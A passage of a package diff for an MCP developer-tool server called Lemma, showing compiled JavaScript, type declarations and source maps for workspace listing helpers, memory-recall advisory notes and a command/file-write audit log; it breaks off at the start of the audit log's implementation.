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"}
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Shared workspace-navigation helpers used by both the workspace CRUD tools
|
|
3
|
+
* (./tools/workspace.ts) and several other tools elsewhere in tools.ts
|
|
4
|
+
* (get_symbol_surgical_context, smart_file_slice, get_ast_hologram, ...). Split out
|
|
5
|
+
* to avoid duplicating them (or a tools.ts <-> tools/workspace.ts import cycle).
|
|
6
|
+
*/
|
|
7
|
+
import { type BlastRadiusResult } from "../subconscious/TheBrainV2";
|
|
8
|
+
export declare function listDirRecursive(currentDir: string, relativePath: string, depth: number, maxDepth: number): string[];
|
|
9
|
+
/**
|
|
10
|
+
* Fase E — blast radius. Purely advisory text appended to a write tool's success response:
|
|
11
|
+
* which Brain memories (direct or derived via Fase B's derivedFrom) depend on the
|
|
12
|
+
* file/symbol just written, and which of those document a documented FAILED attempt. Never
|
|
13
|
+
* blocks the write and never mutates anything — the next search_memory/verify_memory call
|
|
14
|
+
* already re-checks freshness lazily; this only surfaces the same signal earlier, at the
|
|
15
|
+
* moment it's cheapest to act on.
|
|
16
|
+
*/
|
|
17
|
+
export declare function formatBlastRadiusNote(result: BlastRadiusResult): string;
|
|
18
|
+
export declare function formatRecallNote(filePath: string, symbolName?: string): string;
|
|
19
|
+
//# sourceMappingURL=workspaceShared.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"workspaceShared.d.ts","sourceRoot":"","sources":["../../../src/mcp/workspaceShared.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAKH,OAAO,EAAY,KAAK,iBAAiB,EAAE,MAAM,4BAA4B,CAAC;AAE9E,wBAAgB,gBAAgB,CAC9B,UAAU,EAAE,MAAM,EAClB,YAAY,EAAE,MAAM,EACpB,KAAK,EAAE,MAAM,EACb,QAAQ,EAAE,MAAM,GACf,MAAM,EAAE,CAoBV;AAED;;;;;;;GAOG;AACH,wBAAgB,qBAAqB,CAAC,MAAM,EAAE,iBAAiB,GAAG,MAAM,CAOvE;AAmBD,wBAAgB,gBAAgB,CAAC,QAAQ,EAAE,MAAM,EAAE,UAAU,CAAC,EAAE,MAAM,GAAG,MAAM,CAqB9E"}
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Shared workspace-navigation helpers used by both the workspace CRUD tools
|
|
4
|
+
* (./tools/workspace.ts) and several other tools elsewhere in tools.ts
|
|
5
|
+
* (get_symbol_surgical_context, smart_file_slice, get_ast_hologram, ...). Split out
|
|
6
|
+
* to avoid duplicating them (or a tools.ts <-> tools/workspace.ts import cycle).
|
|
7
|
+
*/
|
|
8
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
9
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
10
|
+
};
|
|
11
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
12
|
+
exports.listDirRecursive = listDirRecursive;
|
|
13
|
+
exports.formatBlastRadiusNote = formatBlastRadiusNote;
|
|
14
|
+
exports.formatRecallNote = formatRecallNote;
|
|
15
|
+
const fs_1 = __importDefault(require("fs"));
|
|
16
|
+
const path_1 = __importDefault(require("path"));
|
|
17
|
+
const TheBrainV2_1 = require("../subconscious/TheBrainV2");
|
|
18
|
+
function listDirRecursive(currentDir, relativePath, depth, maxDepth) {
|
|
19
|
+
if (depth > maxDepth)
|
|
20
|
+
return [];
|
|
21
|
+
try {
|
|
22
|
+
const entries = fs_1.default.readdirSync(currentDir, { withFileTypes: true });
|
|
23
|
+
let result = [];
|
|
24
|
+
for (const entry of entries) {
|
|
25
|
+
if (["node_modules", ".git", "dist", "chroma_data", ".lemma"].includes(entry.name))
|
|
26
|
+
continue;
|
|
27
|
+
const rel = relativePath ? path_1.default.join(relativePath, entry.name) : entry.name;
|
|
28
|
+
const full = path_1.default.join(currentDir, entry.name);
|
|
29
|
+
if (entry.isDirectory()) {
|
|
30
|
+
result.push(`${rel}/`);
|
|
31
|
+
result.push(...listDirRecursive(full, rel, depth + 1, maxDepth));
|
|
32
|
+
}
|
|
33
|
+
else {
|
|
34
|
+
result.push(rel);
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
return result;
|
|
38
|
+
}
|
|
39
|
+
catch {
|
|
40
|
+
return [];
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Fase E — blast radius. Purely advisory text appended to a write tool's success response:
|
|
45
|
+
* which Brain memories (direct or derived via Fase B's derivedFrom) depend on the
|
|
46
|
+
* file/symbol just written, and which of those document a documented FAILED attempt. Never
|
|
47
|
+
* blocks the write and never mutates anything — the next search_memory/verify_memory call
|
|
48
|
+
* already re-checks freshness lazily; this only surfaces the same signal earlier, at the
|
|
49
|
+
* moment it's cheapest to act on.
|
|
50
|
+
*/
|
|
51
|
+
function formatBlastRadiusNote(result) {
|
|
52
|
+
if (result.hits.length === 0)
|
|
53
|
+
return "";
|
|
54
|
+
const ids = result.hits.map((h) => h.id).join(", ");
|
|
55
|
+
const base = `\n📎 ${result.hits.length} memor${result.hits.length === 1 ? "y" : "ies"} in the Brain depend on this and will go stale: ${ids}. They'll re-verify next time they're searched.`;
|
|
56
|
+
if (result.failedHits.length === 0)
|
|
57
|
+
return base;
|
|
58
|
+
const failedIds = result.failedHits.map((h) => h.id).join(", ");
|
|
59
|
+
return `${base}\n⚠️ ${result.failedHits.length} of those document a PRIOR ATTEMPT THAT FAILED on related code: ${failedIds}. Review before continuing down this path.`;
|
|
60
|
+
}
|
|
61
|
+
/**
|
|
62
|
+
* The read-side counterpart to formatBlastRadiusNote.
|
|
63
|
+
*
|
|
64
|
+
* Fase E made the write path proactive: a tool that stales memories says so on the spot.
|
|
65
|
+
* The read path stayed entirely opt-in — the Brain only spoke when the agent remembered to
|
|
66
|
+
* call search_memory, which is exactly the moment an agent that doesn't know a memory exists
|
|
67
|
+
* has no reason to. This closes that asymmetry: reading code the Brain already has notes on
|
|
68
|
+
* surfaces them, including any documented dead end, before the investigation restarts from
|
|
69
|
+
* scratch.
|
|
70
|
+
*
|
|
71
|
+
* Same rules as the write-side note: advisory only, never blocks, never mutates, and adds no
|
|
72
|
+
* tool schema (it enriches an existing response), so it costs nothing per turn. It reports
|
|
73
|
+
* ids rather than content — pulling whole memories into every file read would spend far more
|
|
74
|
+
* context than it saves; search_memory or verify_memory fetches the ones that matter.
|
|
75
|
+
*/
|
|
76
|
+
const _recallNoted = new Set();
|
|
77
|
+
function formatRecallNote(filePath, symbolName) {
|
|
78
|
+
try {
|
|
79
|
+
const result = (0, TheBrainV2_1.getBrain)().findBlastRadius(filePath, symbolName);
|
|
80
|
+
if (result.hits.length === 0)
|
|
81
|
+
return "";
|
|
82
|
+
// Repeating the identical note on every read of the same file is nagging, not signal.
|
|
83
|
+
// Keyed by the memory set, so a note reappears when the set genuinely changes.
|
|
84
|
+
const ids = result.hits.map((h) => h.id).sort();
|
|
85
|
+
const key = `${path_1.default.resolve(filePath)}::${symbolName || ""}::${ids.join(",")}`;
|
|
86
|
+
if (_recallNoted.has(key))
|
|
87
|
+
return "";
|
|
88
|
+
_recallNoted.add(key);
|
|
89
|
+
const subject = symbolName ? `\`${symbolName}\`` : "this file";
|
|
90
|
+
const base = `\n\n🧠 The Brain already has ${result.hits.length} memor${result.hits.length === 1 ? "y" : "ies"} about ${subject}: ${ids.join(", ")}. Call verify_memory on them before investigating from scratch.`;
|
|
91
|
+
if (result.failedHits.length === 0)
|
|
92
|
+
return base;
|
|
93
|
+
const failedIds = result.failedHits.map((h) => h.id).join(", ");
|
|
94
|
+
return `${base}\n⚠️ ${result.failedHits.length} of those document an approach that was tried here and FAILED: ${failedIds}. Read those first so you don't repeat it.`;
|
|
95
|
+
}
|
|
96
|
+
catch {
|
|
97
|
+
// A recall note must never be the reason a file read fails.
|
|
98
|
+
return "";
|
|
99
|
+
}
|
|
100
|
+
}
|
|
101
|
+
//# sourceMappingURL=workspaceShared.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"workspaceShared.js","sourceRoot":"","sources":["../../../src/mcp/workspaceShared.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ExecAuditLog — a persistent, append-only trail of every command Lemma ran or refused to
|
|
3
|
+
* run, and every file it wrote, outside of what any single session's in-memory ledger keeps.
|
|
4
|
+
*
|
|
5
|
+
* TokenReceipt's sessionLedger (../utils/TokenReceipt.ts) records similar events but only
|
|
6
|
+
* in a module-scoped array capped at 2000 entries and lost on process restart — fine for
|
|
7
|
+
* "what did this session just do", useless for "what has Lemma ever done in this workspace".
|
|
8
|
+
* This file exists so that question has a real, on-disk answer: same `~/.lemma-cache/`
|
|
9
|
+
* convention as SavingsLedger, but append-only JSONL rather than whole-file rewrite, so a
|
|
10
|
+
* crash mid-session can't lose prior entries.
|
|
11
|
+
*/
|
|
12
|
+
export type ExecAuditTool = "run_workspace_command" | "write_workspace_file" | "create_workspace_file" | "apply_workspace_patch";
|
|
13
|
+
export interface ExecAuditEntry {
|
|
14
|
+
tool: ExecAuditTool;
|
|
15
|
+
/** Command text for run_workspace_command, resolved file path for write/create/patch tools. */
|
|
16
|
+
detail: string;
|
|
17
|
+
allowed: boolean;
|
|
18
|
+
/** Only set for run_workspace_command once it actually ran. */
|
|
19
|
+
exitCode?: number | null;
|
|
20
|
+
reason?: string;
|
|
21
|
+
timestamp: string;
|
|
22
|
+
}
|
|
23
|
+
export declare function recordExecAudit(entry: Omit<ExecAuditEntry, "timestamp">): void;
|
|
24
|
+
/** Reads back the audit trail. Exposed mainly for tests; the file itself is plain JSONL. */
|
|
25
|
+
export declare function readExecAuditLog(limit?: number): ExecAuditEntry[];
|
|
26
|
+
export declare function getExecAuditLogPath(): string;
|
|
27
|
+
//# sourceMappingURL=ExecAuditLog.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"ExecAuditLog.d.ts","sourceRoot":"","sources":["../../../src/utils/ExecAuditLog.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAQH,MAAM,MAAM,aAAa,GACrB,uBAAuB,GACvB,sBAAsB,GACtB,uBAAuB,GACvB,uBAAuB,CAAC;AAE5B,MAAM,WAAW,cAAc;IAC7B,IAAI,EAAE,aAAa,CAAC;IACpB,+FAA+F;IAC/F,MAAM,EAAE,MAAM,CAAC;IACf,OAAO,EAAE,OAAO,CAAC;IACjB,+DAA+D;IAC/D,QAAQ,CAAC,EAAE,MAAM,GAAG,IAAI,CAAC;IACzB,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,SAAS,EAAE,MAAM,CAAC;CACnB;AAED,wBAAgB,eAAe,CAAC,KAAK,EAAE,IAAI,CAAC,cAAc,EAAE,WAAW,CAAC,GAAG,IAAI,CAW9E;AAED,4FAA4F;AAC5F,wBAAgB,gBAAgB,CAAC,KAAK,CAAC,EAAE,MAAM,GAAG,cAAc,EAAE,CASjE;AAED,wBAAgB,mBAAmB,IAAI,MAAM,CAE5C"}
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
